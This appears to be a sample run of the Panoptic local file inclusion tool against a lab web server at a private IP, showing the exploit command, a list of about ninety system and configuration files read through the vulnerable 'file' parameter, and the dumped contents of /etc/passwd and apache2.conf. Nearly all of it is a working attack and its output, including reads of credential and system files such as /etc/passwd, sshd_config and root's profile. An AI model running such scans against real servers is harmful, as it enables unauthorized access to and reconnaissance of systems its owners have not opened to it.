Sample Panoptic run

gistfile1.txt

$ python panoptic.py -u "http://192.168.21.128/lfi.php?file=default" -a -w

 .-',--.`-.
<_ | () | _>
  `-`=='-'

Panoptic v0.1-93e0cf0 (https://github.com/lightos/Panoptic/)

[i] Starting scan at: 11:46:21

[i] Checking original response...
[i] Checking invalid response...
[i] Done!
[i] Searching for files...
[i] Possible file(s) found!
[i] OS: *NIX
[?] Do you want to restrict further scans to '*NIX'? [Y/n] Y
[+] Found '/etc/php5/apache2/php.ini' (*NIX/Programming/conf)
[+] Found '/etc/mysql/my.cnf' (*NIX/Databases/conf)
[+] Found '/etc/apache2/sites-available/default' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/sites-available/default-ssl' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/sites-enabled/000-default' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/apache2.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/ports.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/httpd.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/conf.d/charset' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/conf.d/security' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/envvars' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/autoindex.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/deflate.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/dir.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/mem_cache.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/mime.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/proxy.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/setenvif.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-available/ssl.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/alias.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/deflate.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/dir.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/mime.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/negotiation.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/php5.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/apache2/mods-enabled/status.conf' (*NIX/HTTP server/conf)
[+] Found '/etc/dhcp3/dhclient.conf' (*NIX/Network/conf)
[+] Found '/proc/self/mounts' (*NIX/other)
[+] Found '/proc/self/stat' (*NIX/other)
[+] Found '/proc/self/status' (*NIX/other)
[+] Found '/proc/self/cmdline' (*NIX/other)
[+] Found '/proc/self/fd/7' (*NIX/other)
[+] Found '/proc/version' (*NIX/other)
[+] Found '/proc/devices' (*NIX/other)
[+] Found '/proc/cpuinfo' (*NIX/other)
[+] Found '/proc/meminfo' (*NIX/other)
[+] Found '/proc/net/tcp' (*NIX/other)
[+] Found '/proc/net/udp' (*NIX/other)
[+] Found '/etc/bash_completion.d/debconf' (*NIX/*NIX)
[+] Found '/root/.bashrc' (*NIX/*NIX)
[+] Found '/etc/bash.bashrc' (*NIX/*NIX)
[+] Found '/etc/host.conf' (*NIX/conf)
[+] Found '/etc/pam.conf' (*NIX/conf)
[+] Found '/etc/resolv.conf' (*NIX/conf)
[+] Found '/etc/sysctl.conf' (*NIX/conf)
[+] Found '/etc/security/access.conf' (*NIX/conf)
[+] Found '/etc/security/group.conf' (*NIX/conf)
[+] Found '/etc/security/limits.conf' (*NIX/conf)
[+] Found '/etc/security/namespace.conf' (*NIX/conf)
[+] Found '/etc/security/pam_env.conf' (*NIX/conf)
[+] Found '/etc/security/sepermit.conf' (*NIX/conf)
[+] Found '/etc/security/time.conf' (*NIX/conf)
[+] Found '/etc/ssh/sshd_config' (*NIX/conf)
[+] Found '/etc/adduser.conf' (*NIX/conf)
[+] Found '/etc/deluser.conf' (*NIX/conf)
[+] Found '/etc/ca-certificates.conf' (*NIX/conf)
[+] Found '/etc/debconf.conf' (*NIX/conf)
[+] Found '/etc/kernel-img.conf' (*NIX/conf)
[+] Found '/etc/ld.so.conf' (*NIX/conf)
[+] Found '/etc/manpath.config' (*NIX/conf)
[+] Found '/etc/ldap/ldap.conf' (*NIX/conf)
[+] Found '/etc/logrotate.conf' (*NIX/conf)
[+] Found '/usr/share/adduser/adduser.conf' (*NIX/conf)
[+] Found '/etc/hostname' (*NIX/other)
[+] Found '/etc/networks' (*NIX/other)
[+] Found '/etc/timezone' (*NIX/other)
[+] Found '/etc/modules' (*NIX/other)
[+] Found '/etc/passwd' (*NIX/other)
[+] Found '/root/.bashrc' (*NIX/*NIX User File/conf)
[+] Found '/root/.profile' (*NIX/*NIX User File/conf)
[+] Found '/root/.subversion/servers' (*NIX/*NIX User File/conf)
[+] Found '/home/testuser/.bash_logout' (*NIX/*NIX User File/conf)
[+] Found '/home/testuser/.bashrc' (*NIX/*NIX User File/conf)
[+] Found '/home/testuser/.profile' (*NIX/*NIX User File/conf)
[+] Found '/home/informix/.bash_logout' (*NIX/*NIX User File/conf)
[+] Found '/home/informix/.bashrc' (*NIX/*NIX User File/conf)
[+] Found '/home/informix/.profile' (*NIX/*NIX User File/conf)
[+] Found '/etc/fstab' (*NIX/other)
[+] Found '/etc/motd' (*NIX/other)
[+] Found '/etc/hosts' (*NIX/other)
[+] Found '/etc/group' (*NIX/other)
[+] Found '/etc/crontab' (*NIX/other)
[+] Found '/etc/mtab' (*NIX/other)
[+] Found '/etc/hosts.allow' (*NIX/other)
[+] Found '/etc/hosts.deny' (*NIX/other)
[+] Found '/etc/profile' (*NIX/other)
[+] Found '/etc/inittab' (*NIX/other)
[+] Found '/etc/issue' (*NIX/other)
[+] Found '/etc/issue.net' (*NIX/other)
[+] Found '/etc/login.defs' (*NIX/other)
[+] Found '/etc/debian_version' (*NIX/other)
[+] Found '/boot/grub/menu.lst' (*NIX/other)
[+] Found '/etc/subversion/config' (*NIX/Versioning/conf)
  
[i] File search complete.

[i] Finishing scan at: 11:46:27

$ cat ./output/192.168.21.128/_etc_passwd.txt
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:1003:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
testuser:x:1000:1000:testuser,,,:/home/testuser:/bin/bash
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/var/lib/mysql:/bin/false
Debian-exim:x:103:105::/var/spool/exim4:/bin/false
postgres:x:104:106:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
firebird:x:105:108:Firebird Database Administator,,,:/var/lib/firebird/2.0:/bin/bash
oracle:x:1001:1001::/home/oracle:/bin/bash
informix:x:1002:1004::/home/informix:/bin/sh

$ cat ./output/192.168.21.128/_etc_apache2_apache2.conf.txt 
#
# Based upon the NCSA server configuration files originally by Rob McCool.
#
# This is the main Apache server configuration file.  It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.2/ for detailed information about
# the directives.
#
# Do NOT simply read the instructions in here without understanding
# what they do.  They're here only as hints or reminders.  If you are unsure
# consult the online docs. You have been warned.  
#
# The configuration directives are grouped into three basic sections:
#  1. Directives that control the operation of the Apache server process as a
#     whole (the 'global environment').
#  2. Directives that define the parameters of the 'main' or 'default' server,
#     which responds to requests that aren't handled by a virtual host.
#     These directives also provide default values for the settings
#     of all virtual hosts.
#  3. Settings for virtual hosts, which allow Web requests to be sent to
#     different IP addresses or hostnames and have them handled by the
#     same Apache server process.
#
# Configuration and logfile names: If the filenames you specify for many
# of the server's control files begin with "/" (or "drive:/" for Win32), the
# server will use that explicit path.  If the filenames do *not* begin
# with "/", the value of ServerRoot is prepended -- so "/var/log/apache2/foo.log"
# with ServerRoot set to "" will be interpreted by the
# server as "//var/log/apache2/foo.log".
#

### Section 1: Global Environment
#
# The directives in this section affect the overall operation of Apache,
# such as the number of concurrent requests it can handle or where it
# can find its configuration files.
#

#
# ServerRoot: The top of the directory tree under which the server's
# configuration, error, and log files are kept.
#
# NOTE!  If you intend to place this on an NFS (or otherwise network)
# mounted filesystem then please read the LockFile documentation (available
# at <URL:http://httpd.apache.org/docs-2.1/mod/mpm_common.html#lockfile>);
# you will save yourself a lot of trouble.
#
# Do NOT add a slash at the end of the directory path.
#
ServerRoot "/etc/apache2"
SetEnv LD_LIBRARY_PATH "/opt/oracle/instantclient/instantclient_10_2"
#PassEnv INFORMIXSERVER
#PassEnv INFORMIXDIR

#
# The accept serialization lock file MUST BE STORED ON A LOCAL DISK.
#
#<IfModule !mpm_winnt.c>
#<IfModule !mpm_netware.c>
LockFile /var/lock/apache2/accept.lock
#</IfModule>
#</IfModule>

#
# PidFile: The file in which the server should record its process
# identification number when it starts.
# This needs to be set in /etc/apache2/envvars
#
PidFile ${APACHE_PID_FILE}

#
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 300

#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On

#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 100

#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 15

##
## Server-Pool Size Regulation (MPM specific)
## 

# prefork MPM
# StartServers: number of server processes to start
# MinSpareServers: minimum number of server processes which are kept spare
# MaxSpareServers: maximum number of server processes which are kept spare
# MaxClients: maximum number of server processes allowed to start
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule mpm_prefork_module>
    StartServers          5
    MinSpareServers       5
    MaxSpareServers      10
    MaxClients          150
    MaxRequestsPerChild   0
</IfModule>

# worker MPM
# StartServers: initial number of server processes to start
# MaxClients: maximum number of simultaneous client connections
# MinSpareThreads: minimum number of worker threads which are kept spare
# MaxSpareThreads: maximum number of worker threads which are kept spare
# ThreadsPerChild: constant number of worker threads in each server process
# MaxRequestsPerChild: maximum number of requests a server process serves
<IfModule mpm_worker_module>
    StartServers          2
    MaxClients          150
    MinSpareThreads      25
    MaxSpareThreads      75 
    ThreadsPerChild      25
    MaxRequestsPerChild   0
</IfModule>

# These need to be set in /etc/apache2/envvars
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}

#
# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives.  See also the AllowOverride
# directive.
#

AccessFileName .htaccess

#
# The following lines prevent .htaccess and .htpasswd files from being 
# viewed by Web clients. 
#
<Files ~ "^\.ht">
    Order allow,deny
    Deny from all
</Files>

#
# DefaultType is the default MIME type the server will use for a document
# if it cannot otherwise determine one, such as from filename extensions.
# If your server contains mostly text or HTML documents, "text/plain" is
# a good value.  If most of your content is binary, such as applications
# or images, you may want to use "application/octet-stream" instead to
# keep browsers from trying to display binary files as though they are
# text.
#
DefaultType text/plain


#
# HostnameLookups: Log the names of clients or just their IP addresses
# e.g., www.apache.org (on) or 204.62.129.132 (off).
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on, since enabling it means that
# each client request will result in AT LEAST one lookup request to the
# nameserver.
#
HostnameLookups Off

# ErrorLog: The location of the error log file.
# If you do not specify an ErrorLog directive within a <VirtualHost>
# container, error messages relating to that virtual host will be
# logged here.  If you *do* define an error logfile for a <VirtualHost>
# container, that host's errors will be logged there and not here.
#
ErrorLog /var/log/apache2/error.log

#
# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
#
LogLevel warn

# Include module configuration:
Include /etc/apache2/mods-enabled/*.load
Include /etc/apache2/mods-enabled/*.conf

# Include all the user configurations:
Include /etc/apache2/httpd.conf

# Include ports listing
Include /etc/apache2/ports.conf

#
# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
# If you are behind a reverse proxy, you might want to change %h into %{X-Forwarded-For}i
#
LogFormat "%v:%p %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

#
# Define an access log for VirtualHosts that don't define their own logfile
CustomLog /var/log/apache2/other_vhosts_access.log vhost_combined

#
# Customizable error responses come in three flavors:
# 1) plain text 2) local redirects 3) external redirects
#
# Some examples:
#ErrorDocument 500 "The server made a boo boo."
#ErrorDocument 404 /missing.html
#ErrorDocument 404 "/cgi-bin/missing_handler.pl"
#ErrorDocument 402 http://www.example.com/subscription_info.html
#

#
# Putting this all together, we can internationalize error responses.
#
# We use Alias to redirect any /error/HTTP_<error>.html.var response to
# our collection of by-error message multi-language collections.  We use 
# includes to substitute the appropriate text.
#
# You can modify the messages' appearance without changing any of the
# default HTTP_<error>.html.var files by adding the line:
#
#   Alias /error/include/ "/your/include/path/"
#
# which allows you to create your own set of files by starting with the
# /usr/share/apache2/error/include/ files and copying them to /your/include/path/, 
# even on a per-VirtualHost basis.  The default include files will display
# your Apache version number and your ServerAdmin email address regardless
# of the setting of ServerSignature.
#
# The internationalized error documents require mod_alias, mod_include
# and mod_negotiation.  To activate them, uncomment the following 30 lines.

#    Alias /error/ "/usr/share/apache2/error/"
#
#    <Directory "/usr/share/apache2/error">
#        AllowOverride None
#        Options IncludesNoExec
#        AddOutputFilter Includes html
#        AddHandler type-map var
#        Order allow,deny
#        Allow from all
#        LanguagePriority en cs de es fr it nl sv pt-br ro
#        ForceLanguagePriority Prefer Fallback
#    </Directory>
#
#    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
#    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
#    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
#    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
#    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
#    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
#    ErrorDocument 410 /error/HTTP_GONE.html.var
#    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
#    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
#    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
#    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
#    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
#    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
#    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
#    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
#    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
#    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var



# Include of directories ignores editors' and dpkg's backup files,
# see README.Debian for details.

# Include generic snippets of statements
Include /etc/apache2/conf.d/

# Include the virtual host configurations:
Include /etc/apache2/sites-enabled/